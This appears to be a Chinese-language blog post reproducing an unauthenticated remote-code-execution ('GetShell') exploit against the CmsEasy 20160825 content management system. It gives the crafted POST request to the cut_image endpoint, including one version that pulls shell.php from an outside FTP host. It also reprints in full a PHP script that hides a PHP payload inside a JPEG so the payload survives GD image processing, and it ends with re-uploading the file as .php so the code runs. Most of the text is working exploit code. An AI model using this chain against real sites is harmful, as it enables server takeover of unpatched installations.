CmsEasy20160825前台无限制GetShell复现

GetShell思路：根据里面漏洞代码直接取post数据后缀作为后缀这一特性，且CMS支持FTP。

　　　　　　　利用FTP上传图片，通过下载上传的正常图片（已被PHP的GD库渲染）之后，

　　　　　　　利用脚本在图片中插入payload，

　　　　　　　再次利用FTP上传达到GET Shell的目的。

索马里师傅的post数据如下：

POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

 我们改为：

POST /index.php?case=tool&act=cut_image
pic=111111111ftp://127.0.0.1/1111.jpg&w=960&h=1291&x1=0&x2=960&y1=0&y2=1291

 期中pic后的1为根目录后的字符个数

例如：http://127.0.0.1/CmsEasy/index.php?case=tool&act=cut_image中因为/CmsEasy/为9个字符，因此需要9位来进行替换。

FTP://127.0.0.1/1111.jpg为我们本地搭建的一个FTP服务的一张正常图片
注意：搭建的FTP服务需要开启匿名登录

之后根据上述post代码可见：

 

 根据图中的途径下载经由网站GD库渲染过后的图片文件

再利用索马里师傅的处理脚本

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
	caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed
	image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	php jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
	initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?php phpinfo();?>';

	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

 得到一个payload.jpg文件，我们将他后缀改为php，放入ftp中，再利用刚才一样的方法上传访问

完成我们插入的phpinfo()payload的解释。

 

参考链接：https://xianzhi.aliyun.com/forum/read/366.html?fpage=3

　　　　　https://xianzhi.aliyun.com/forum/read/215.html为